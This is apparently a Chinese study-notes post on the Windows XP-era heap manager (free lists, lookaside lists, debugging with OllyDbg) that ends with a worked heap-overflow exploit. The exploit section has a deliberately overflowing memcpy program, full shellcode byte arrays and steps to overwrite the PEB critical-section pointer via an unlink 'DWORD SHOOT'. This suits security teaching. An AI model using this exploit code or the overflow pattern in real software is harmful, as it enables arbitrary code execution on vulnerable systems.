堆溢出漏洞


堆的工作原理

因为windows并不是开源的操作系统,Windows堆的管理机制都是前辈们的研究结果。在形式上与linux堆相近,但又有很多的不同

堆和栈的区别

程序员角度,堆具有的特性:

  1. 堆是一种在程序运行时动态分配的内存
  2. 堆在使用时需要程序员用专用的函数进行申请,如c中的malloc、c++中的new
  3. 一般用一个堆指针来使用申请得到的内存,如读、写、释放都通过这个指针完成
  4. 使用完毕后需要把堆指针传给堆释放函数回收这片内存,否则会造成内存泄露

堆内存与栈内存的比较:

~ 堆内存 栈内存
典型用例 动态增长的链表数据结构 函数局部数组
申请方式 需要用函数申请,通过返回的指针使用,如p=malloc(80) 在程序中直接声明即可,如char buffer[8]
释放方式 需要把指针传给专用的释放函数,如free 函数返回时,由系统自动回收
管理方式 需要程序员处理申请与释放 申请后直接使用,申请与释放由系统自动完成,最后达到栈区平衡
所处位置 变化范围很大 0x0012xxxx
增长方向 由内存低址向高址排列(不考虑碎片等情况) 由高址向低址增加

堆的数据结构

堆块

出于性能的考虑,堆区的内存按照不同大小组织成块,以堆块为单位进行标识,而不是传统的按字节标识。

每个堆块分为两部分:块首和块身

其中,块首是堆块头部的几个字节,用来标识堆块的信息(大小、是否空闲等);块身是紧跟在块首后面的部分,也即是分配给用户使用的数据区

堆管理系统所返回的指针一般是指向块身的起始位置 ,在程序中总是感觉不到块首的存在

堆表

堆表一般位于堆区的起始位置,用于索引堆区中所有堆块的重要信息,包括堆块的位置、大小、是否空闲等。

堆表的数据结构决定了整个堆区的组织方式,是快速检索空闲块、保证堆分配效率的关键

Alt

在Windows中,占用态的堆块被它使用的程序索引,而堆块只索引所有空闲的堆块。

两种堆表:

  1. 空闲双向链表Freelist(空表)
  2. 快速单向链表Lookaside(快表)
空表

空表用指针将空闲堆块组织成双向链表,按照堆块的大小不同,分为128条链表

空表是位于堆区中的一个128项的指针数组,称为空表索引数组(Freelist array),数组的每一项包括两个指针,用于标识一条空表

Alt

free[1]:标识了所有大小为8byte的空闲块,之后每个索引的空闲块递增8byte, 空闲块的大小=索引项x8字节

free[0]:链入了所有大于等于1024byte的堆块(小于512kb),这些堆块按照大小升序排序

快表

快表是用来加速对快分配而采用的一种堆表,与linux的fastbin类似,按照单链表组织,并且从来不会发生堆块合并。但是不同的是,快表总是会被初始化为空,而且每条快表最多只有4个结点,所以很快会被填满

Alt

堆块管理策略

堆块分配

堆块分配分为三种:快表分配、普通空表分配和零号空表分配(free[0])分配

  1. 快表分配:找到大小匹配的空闲块、修改状态、从链表中取出、返回给程序一个指针
  2. 普通空表分配:首先寻找最优空闲块分配,失败则寻找次优的空闲块即最小的能够满足要求的空闲块
  3. 零号空表分配:从free[0]反向查找最后一个块(最大块),如果能满足要求,就正向搜索最小能够满足要求的块进行分配

堆块分配中的“找零”现象:次优分配发生时,会先从大块中按请求大小切割堆块,然后剩下的部分重新标注块首,链入空表。快表只有在精确匹配的情况才会分配,不存在“找零”现象

堆块释放

释放堆块的操作包括将堆块状态改为空闲,链入相应的堆表

所有释放的堆块都链入堆表的末尾,分配的时候也先从链尾拿,即LIFO

堆块合并

和linux下一样,两个连续(物理上)的空闲堆块就会进行堆块合并操作。

堆块合并即将两个块从相应的空闲链表中取出、合并堆块、调整合并后大块的块首信息、将新的大块链入对应的空闲链表

Windows下的三类堆块(按大小分):

  • 小块:小于1kb(1024byte)
  • 大块: [1kb,512kb]闭区间范围内
  • 巨块:大于512kb的块

内存紧缩:由RtlCompacHeap执行,操作过程和磁盘碎片整理类似,会对整个堆进行调整,尽量合并可用的碎片: Alt

分配和释放算法:

Alt

Windows堆

Windows平台下的堆管理结构:

Alt

所有的堆分配函数最终都会使用位于ntdll.dll中的RtlAllocateHeap()函数进行分配,这个函数也是用户态能够看到的最底层的堆分配函数

Windows堆分配API调用关系:

Alt

堆的调试方法

书中的测试代码:

#include <windows.h>
main()
{
    HLOCAL h1,h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    __asm int 3

    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

    //free block and prevent coaleses
    HeapFree(hp,0,h1); //free to freelist[2]
    HeapFree(hp,0,h3); //free to freelist[2]
    HeapFree(hp,0,h5); //free to freelist[4]

    HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

    return 0;
}

堆调试与栈不同,直接使用Ollydbg、Windbg等调试器加载程序的话,堆管理函数会检测到当前进程处于调试状态,进而使用调试堆管理策略。

调试堆管理策略与常态下的区别:

  1. 调试堆不使用快表,只用空表分配
  2. 所有对块都被加上多余的16byte(8字节的0xAB,8字节的0x00)尾部来放止溢出
  3. 块首的标志位不同

上述测试代码中添加了一个终断:_asm int 3,程序初始化堆完成之后就会在这里断下,然后使用调试器附加调试。

将Ollydbg设置为默认调试器,然后中断之后就会自动打开OD:

Alt

运行程序,出现消息弹框后点击取消就可以调试真实的堆了:

Alt Alt

查看当前内存映射情况(‘M’按钮):

Alt

通常情况下,进程中会同时存在若干个堆区:

  1. 进程堆:可以通过GetProcessHeap()函数获得堆的句柄,开始于0x00130000
  2. malloc()的堆区:0x0041000(地址不一定一致),它紧接着PE镜像

malloc虽然不会再使用是让程序员明确指出使用哪个堆区进行分配,但他实际会使用HeapCreate()函数为自己创建堆区

识别堆表

HeapCreate()成功创建堆之后,会把整个堆区的起始地址(0x003A0000)返回给EAX,所以直接查看这里的数据:

Alt

从返回的堆区起始地址开始,堆表中包含的信息依次是段表索引(Segment List)、虚表索引(virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。

其中,偏移0x178处为空表索引区,其余堆表一般与堆溢出利用关系不大。当一个堆刚被初始化时:

  1. 只有一个空闲的大块,被称作“尾块”
  2. 尾块位于偏移0x0688处(启用快表时,这个偏移是快表)
  3. Freelist[0]指向尾块
  4. 除了0号空表索引外,其余各项索引都指向自己,即其余所有空闲链表中都没有空闲块

堆块块首中数据的含义

占用状态下的堆块:

Alt

空闲态堆块和占用态的堆块的块首结构基本一致,只是将块首后数据区的前8个字节用于存放空指针。这一点和linux的空闲chunk类似,user data的前16字节(64位下)存放fd指针和bk指针。

Alt

查看偏移0x0688处的尾块:

Alt

可以发现:

  1. 尾块实际上开始于0x003A0680,一般引用堆块的指针都会越过8字节的块首,直接指向数据区
  2. 尾块目前的大小为0x0130,计算单位是8个字节,即0x130*8 = 0x980字节
  3. 堆块的大小是包含块首在内的

在调试环境中,快表始终为空。按照堆表数据结构的规定,指向快表的指针位于偏移0x584字节处,未使用快表时,这里指针均为NULL。快表只有堆是可扩展的时候才会启用,创建可拓展堆需要使用HeapCreate(0,0,0)而不是HeapCreate(0,0x1000,0x10000)创建堆

调试中看堆块操作

堆块的分配

现在知道的是:

  1. 堆块的大小包括块首(8byte)在内
  2. 堆块按8字节对齐,即不足8字节部分按8字节分配。所以堆块的大小总是8的整数倍
  3. 初始状态下,快表和空表都为空,不存在精确分配。请求时使用次优分分配,从尾块中切割
  4. 次优分配发生后,分配函数会陆续从尾块中切割大大小小的块,并修改块首中的size信息,最后将freelist[0]指向新的尾块
  h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
  h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
  h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
  h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
  h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

调试代码中6次内存请求的分配状况如下:

堆句柄 请求字节数 实际分配(堆单位(8byte)) 实际分配(字节)
H1 3 2 16
H2 5 2 16
H3 6 2 16
H4 8 2 16
H5 19 4 32
H6 24 4 32

分配之后,freelist[0]已经指向了偏移为0x0708处的新的尾块(因为换了环境调试,所以这里的地址和前面的不一样)

Alt Alt

分配之后尾块的 size = 0x130 - 0x2*4+0x4*2 = 0x120

分配的6个堆块分布如下,似乎分配时只对Flink指针清零,而没有对Blink指针清零:

Alt

堆块的释放

 //free block and prevent coaleses
 HeapFree(hp,0,h1); //free to freelist[2]
 HeapFree(hp,0,h3); //free to freelist[2]
 HeapFree(hp,0,h5); //free to freelist[4]

前三次释放的堆块在内存中并不会发生合并,而是按照大小分别放入对应的freelist中去:

Alt Alt

此时h1和h3的示意图如下:

Alt

这里指针都是指向堆块的数据部分首地址,也即是Fblink的首地址,而不是指向堆块的首地址

堆块的合并

第四次释放时,

 HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

h3、h4、h5三个堆块连续,会被合并成一个堆块,大小为0x8(堆单位)

Alt Alt

不过这里似乎并没有清空原空闲堆块的Flink和Blink指针

堆块的合并可以更加有效的利用内存,但往往会修改多处指针,会花费一定的时间,这也是堆块合并只会发生在空表中的原因。

使用快表

实验代码:

#include <stdio.h>
#include <windows.h>
void main()
{
    HLOCAL h1,h2,h3,h4;
    HANDLE hp;
    hp = HeapCreate(0,0,0);
    __asm int 3
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h2);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h4);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    HeapFree(hp,0,h2);
}

程序使用快表之后堆的结构会发生相应的变化,其中主要变化是尾块不再位于0x0688偏移处,这个偏移处被快表占用:

Alt

到0x0688处:

Alt

堆刚开始初始化的时候快表是空的,所以代码中先从freelist[0](尾块)申请四个堆块,然后释放他们将其放入对应的快表中:

    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h2);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h4);

根据申请的大小可以知道释放后会分别放入Lookaside[2]Lookaside[3]Lookaside[4]中:

Alt Alt Alt

此时,h1、h2和Lookaside[2]构成单链表:

Alt

可以发现,快表和空表的两个明显区别:

  1. 块首中的标识位为0x01,即这个堆块处于Busy状态
  2. 块首只存在一个指向下一堆块的指针,不存在指向前一个堆块的指针

经过释放操作之后,快表已经非空了,之后再申请8、16或24字节大小的空间时就会从相应的快表中分配。所以再申请16字节大小的堆块时,会从Lookaside[3]中取出:

Alt

再次释放还会直接放入对应的快表中。

快表这里每一个表项占了0x30个字节(空表只占了0x10个字节),但是似乎只有前八个字节被用作指针了,之后的空间似乎是被用作标志位的。。。。。

堆溢出利用-DWORD SHOOT

链表“拆卸”中的问题

与linux下的堆溢出攻击类似,通过修改堆块的前向、后向指针来完成任意的的读写,不过似乎到目前为止,没有太多的检测需要绕过

堆溢出的精髓就是用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针(flink)和后向指针(blink),然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。

几种情形:

target payload res
栈中中函数的返回地址 shellcode的起始地址 函数返回时,跳去执行shellcode
栈帧中的S.E.H句柄 shellcode的起始地址 异常发生时,跳去执行shellcode
重要函数调用地址 shellcode的起始地址 函数调用时,跳去执行shellcode

将一个结点从双向链表中取下可能的操作:

node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;

Alt

实践上这个过程就是对指针指向的改写,并没有其他复杂的操作,所以当我们修改目标堆块的flink和blink指针内容时,在进行上述操作时,指针就会指向一个我们修改的地方。

当堆溢出发生时,非法数据可以淹没下一个堆块的块首,然后伪造块首中存放的前向指针和后向指针,当这个堆块被从双向链表中“卸下”时,执行node -> blink -> flink = node -> flink;将把伪造的flink指针写入到伪造的blink指针指向的地址中去,从而发生DWORD SHOOT

Alt

在调试中体会”DWORD SHOOT”

调试代码:


#include <windows.h>
main()
{
    HLOCAL h1, h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

    _asm int 3  //used to break the process
    //free the odd blocks to prevent coalesing
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h5); //now freelist[2] got 3 entries

    //will allocate from freelist[2] which means unlink the last entry (h5)
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

    return 0;
}

这里的调试代码没有体现出通过堆溢出操控堆块的数据,只是通过在调试的过程中修改内存的数据,来实现”DWORD SHOOT”

  1. 程序创建一个大小为0x1000的堆区,并连续申请了6个大小为8字节的堆块
  2. 释放奇数次申请的堆块是为了防止相邻堆块合并
  3. 三次释放之后,freelist[2]所标识的空表中链入三个空闲块(h1、h3、h5)
  4. 再次申请8字节的堆块,就会从freelist[2]的链尾取下堆块,如果这时修改h5的指针,就会发生DWORD SHOOT

三次释放后:

Alt Alt

这个时候直接修改h5的flink和blink:

Alt

这时候再申请8字节的块,就会向0x00000000写入0x41414141:

Alt

在堆块的分配、释放、合并操作都能引发DWORD SHOOT(这些操作都涉及链表操作),块表也可以被用来制造DWORD SHOOT

代码植入-DWORD SHOOT的利用方法

堆溢出的精髓是获得一个DWORD SHOOT的机会,与栈溢出不一样的是,堆溢出更加精确。

Windows XP SP1之前的平台下,DWORD SHOOT的常用目标大致分为:

  1. 内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程
  2. 代码逻辑:修改代码段重要函数的关键逻辑有时可以达到一定的攻击效果
  3. 函数返回地址:栈溢出通过修改函数返回地址能够劫持进程,堆溢出也可以利用DWORD SHOOT修改函数返回地址,不过这种情况局限性较大,因为栈帧中函数返回地址往往是不固定的
  4. 攻击异常处理机制:当程序产生异常时,Windows会转入异常处理机制,堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会成为DWORD SHOOT的上等目标
  5. 函数指针:系统有时会使用一些函数指针(调用动态链接库中的函数、c++中的虚函数调用等),改写这些函数指针后,在函数调用发生后往往可以成功劫持进程
  6. P.E.B中线程同步函数的入口地址:每个进程的P.E.B中都存放着一对同步函数指针,指向RtEnterCriticalSection()和RtLeaveCriticalSection(),并且在进程退出时会被ExitProcess()调用

修改P.E.B中的tEnterCritical-Section()的函数指针

Windows在同步进程下的多个线程,使用了如锁机制(lock)、信号量(semaphore)、临界区(critical section)等同步措施。许多操作都会用到这些措施,进程退出时,就需要ExitProcess()函数来处理,包括调用RtEnterCriticalSection()和RtLeaveCriticalSection()同步线程防止产生”脏数据”

ExitProcess()调用临界区函数是通过进程环境块P.E.B中偏移0x20处存放的函数指针来间接完成的,即0x7FFDF020存放着指向RtEnterCriticalSection()的指针,在0x7FFDF024处存放着指向RtLeaveCriticalSection()的指针。

书中的这段代码通过修改0x7FFDF020处的指针,来完成劫持进程、植入代码:

# include <windows.h>
char shellcode[]="......";
main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    //__asm int 3 //used to break the process
    //memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
    memcpy(h1,shellcode,0x200); //overflow, 0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

代码步骤:

  1. h1指向200字节的堆空间
  2. menmcpy的上限写成了0x200,实际上是512字节,这里会产生溢出
  3. h1分配之后紧接着是尾块
  4. 超过200字节的数据会覆盖尾块的块首
  5. 用伪造的指针覆盖尾块块首中的空表指针,h2分配时,将会导致DWORD SHOOT
  6. DWORD SHOOT的目标是0x7FFDF020处的RtlEnterCriticalSection()函数指针,将其直接修改为指向shellcode的指针
  7. DWORD SHOOT完成后,堆溢出导致异常,最终调用ExitProcess()结束进程
  8. ExitProcess()在结束进程时需要调用临界区函数来同步线程,这时会从P.E.B中拿出指向shellcode的指针,进而执行shellcode

先尝试写入0x90的数据得到覆盖尾块的flink和blink的偏移:

Alt

实际上这里填充满200的字节的数据之后就可以覆写尾块的数据了,此外还需要记住尾块块首信息即\x16\x01\x1A\x00\x00\x10\x00\x00,为了防止在DWORD SHOOT之前发生异常,需修复尾块的块首,即在覆写flink、blink时不改变原尾块的块首。

这里需要注意的是,代码中复制内容时指定长度是200字节,而不是0x200字节,否则会将未知的数据写到尾块的块首,进而出现下图的情况:

Alt

我们的目的是修改0x7FFDF020处的RtlEnterCriticalSection()函数的函数指针为shellcode的地址,根据操作node -> blink -> flink = node -> flink;,我们需要修改尾块的flink为shellcode的起始地址,blink为0x7FFDF020

所以部署如下shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";

编译运行结果并非预想那样,书中指出了这样一个问题:被修改的P.E.B里的函数指针不光会被ExitProcess()调用,shellcode中的函数也会调用,所以当shellcode里的函数使用临界区时,就会和ExitProcess()一样,进而这个利用也就失败了。

解决办法是在shellcode一开始就修复这个指针,来防止出错。不过首先需要知道0x7FFDF020处的指针函数是多少:

Alt

现在,就可以构造新的shellcode了。修复对应的指令机器码为:

指令 机器码
MOV EAX,7FFDF020 \xB8\x20\xF0\xFD\x7F
MOV EBX,77F82060 \xBB\x60\x20\xF8\x77
MOV [EAX],EBC \x89\x18

然后重新得到shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77"  //MOV EBX,77F82060 the address here may releated to your OS
"\x89\x18"              //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";

这时去掉代码中的__asm int 3中断,编译运行程序,就可以看的弹框了:

Alt

关于代码中的几个地址,存放函数RtlEnterCriticalSection()函数的指针位置是固定的(0x7FFDF020),但是这个函数指针的值是可能会变化的,所以需要调试得到

整体的思路是,通过堆溢出产生异常,然后通过Windows的异常机制使其调用相应函数,但是在这之前我们通过DWORD SHOOT修改这个函数的指针,使得异常产生时实际调用的是shellcode。但是因为shellcode里面的函数也会使用这个异常函数,所以一开始执行shellcode时需要修复这个函数指针,防止shellcode里的函数执行时再次执行我们修改的指向shellcode的指针,进而导致利用失败

堆溢出利用的注意事项

  1. 调试堆与常态堆的区别

    堆管理系统会检测进程是否正在被调试,如果shellcode在调试时能够正常执行,但是单独运行却失败,就可能是这个问题。在无法修改源码时,调试可以直接修改用于检测调试器的函数的返回值,进而调试非调试状态的进程

  2. 在shellcode中修复环境

    一般来说,大多数堆溢出中都需要做一些修复环境的工作

  3. 定位shellcode的跳板

    可以在netapi32.dll, user32.dll, rpcrt4.dll中找到不少指令:

     CALL DWORD PTR [EDI + 0x78]
     CALL DWORD PTR [ESI+0x4C]
     CALL DWORD PTR [EBP+0x74]
    
  4. DWORD SHOOT后的“指针反射”现象

     node -> blink -> flink = node -> flink;
     node -> flink -> blink = node -> blink;
    

    前面利用的DWORD SHOOT只使用了第一条语句,而第二条语句也会导致DWORD SHOOT的发生,即修改目标地址(原flink指向的位置,前面例子中是shellcode)偏移0x4处的值,也即是位置堆块的blink指针。对于shellcode的情况,就是修改shellcode其实位置偏移4个字节的地方。

    大多数情况下“指针反射”的情况是会发生的,但是很多情况这种4个字节的目标地址都会被处理器当作“无关痛痒”的指令安全的执行。但是对于特定漏洞这种情况就得另当别论了。

前面实验中发生“指针反射”的现象:

Alt